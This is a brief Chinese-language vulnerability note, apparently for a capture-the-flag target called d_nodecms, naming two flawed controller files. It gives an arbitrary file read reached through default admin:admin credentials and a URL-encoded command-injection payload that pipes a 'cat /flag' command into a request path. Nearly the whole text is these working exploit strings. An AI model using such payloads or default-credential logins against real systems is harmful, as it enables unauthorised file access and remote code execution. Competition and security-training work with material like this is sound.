d_nodecms

by Hence Zhang@Lancet

任意文件读取

漏洞文件位置：

api/controllers/Admin/FlagController.js

漏洞说明：需要管理员权限（默认账号密码admin：admin），在后台添加admin路由，然后访问flag控制器

payload：

/admin/flag?flag=/flag

远程代码执行

漏洞文件位置：

api/controllers/IndexController.js

payload：

> /ls/cmd=a|%63%61%74%20%2f%66%6c%61%67